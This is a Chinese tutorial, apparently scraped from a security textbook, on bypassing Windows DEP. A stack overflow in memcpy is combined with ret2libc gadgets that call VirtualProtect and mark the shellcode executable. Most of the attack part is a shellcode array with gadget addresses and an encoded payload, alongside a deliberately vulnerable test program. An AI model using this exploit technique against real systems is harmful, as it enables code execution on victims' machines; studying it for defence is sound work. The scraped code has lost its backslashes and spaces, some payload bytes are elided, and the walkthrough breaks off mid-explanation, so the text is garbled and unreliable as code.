概述
首先我们来看看MSDN上对VirtualProtect函数的说明。
- BOOL VirtualProtect(
- LPVOID lpAddress,
- DWORD dwSize,
- DWORD flNewProtect,
- PDWORD lpflOldProtect
- );
各参数的意义为:
lpAddress,要改变属性的内存起始地址。
dwSize,要改变属性的内存区域大小。
flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。
pflOldProtect,内存原始属性类型保存地址。
修改内存属性成功时函数返回非0,修改失败时返回0。
如果我们能够按照如下参数布置好栈帧的话就可以将shellcode所在内存区域设置为可执行模式。
- BOOL VirtualProtect(
- shellcode所在内存空间起始地址,
- shellcode大小,
- 0x40,
- 某个可写地址
- ;
这里有两个问题需要注意。
(1)参数中包含0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击strcpy函数,本次实验中我们改为攻击memcpy函数。
(2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能会有变化,本次实验中我们采用一种巧妙的栈帧构造方法动态确定shellcode所在内存空间起始地址。
我们将用如下代码演示如何布置栈帧,并利用VirtualProtect函数将shellcode所在内存区域设置为可执行状态,进而执行shellcode。
- #include<stdlib.h>
- #include<string.h>
- #include<stdio.h>
- #include<windows.h>
- charshellcode[]=
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "……"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90"
- "x8Ax17x84x7C" //pop eax retn
- "x0Ax1AxBFx7C" //pop pop pop retn
- "xBAxD9xBBx7C" //修正EBP
- "x8Bx17x84x7C" //RETN
- "x90x90x90x90"
- "xBFx7DxC9x77" //push esp jmp eax
- "xFFx00x00x00" //修改内存大小
- "x40x00x00x00" //可读可写可执行内存属性代码
- "xBFx7DxC9x77" //push esp jmp eax
- "x90x90x90x90"
- "x90x90x90x90"
- "xE8x1Fx80x7C" //修改内存属性
- "x90x90x90x90"
- "xA4xDExA2x7C" //jmp esp
- "x90x90x90x90"
- "x90x90x90x90"
- "x90x90x90x90"
- "x90x90x90x90"
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
- "……"
- "x53xFFx57xFCx53xFFx57xF8"
- ;
- voidtest()
- {
- charstr[176];
- memcpy(str,shellcode,420);
- }
- intmain()
- {
- HINSTANCEhInst = LoadLibrary("shell32.dll");
- chartemp[200];
- test();
- return 0;
- }
对实验思路和代码简要解释如下。
(1)为了更直观地反映绕过DEP的过程,我们在本次实验中不启用GS和SafeSEH。
(2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址。
(3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式。
(4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址。
(5)内存区域被设置成可执行模式后shellcode就可以正常执行了。
实验环境如表12-3-2所示。
表12-3-2 实验环境
| 推荐使用的环境 | 备 注 |
操作系统 | Windows 2003 SP2 |
|
DEP状态 | Optout |
|
编译器 | VC++ 6.0 |
|
编译选项 | 禁用优化选项 |
|
build版本 | release版本 |
|
首先我们来看看VirtualProtect函数的具体实现。如图12.3.17所示,VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们不妨选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性过程。
图12.3.17 VirtualProtect函数具体实现过程 |
通过图12.3.17我们还可以看出从EBP+8到EBP+18这16个字节空间中存放着设置内存属性所需要的参数。[EBP+C]和[EBP+10]这两个参数是固定的,我们可以直接在shellcode中设置;但[EBP+8]和[EBP+14]这两个参数是需要动态确定的,要保证第一个参数可以落在我们可以控制的堆栈范围内,第二个参数要保证为一可写地址,我们布置shellcode的重点也就放在这两个参数上边。
由于EBP在溢出过程中被破坏,所以我们需要对EBP进行修复,首先我们用PUSH ESP POP EBP RETN 4指令的地址覆盖test函数的返回地址,shellcode如下所示。
- char shellcode[]=
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "……"
- "x90x90x90x90"
- "xBAxD9xBBx7C"//修正EBP
最后
以上就是纯情白云为你收集整理的VirtualProtect函数的全部内容,希望文章能够帮你解决VirtualProtect函数所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复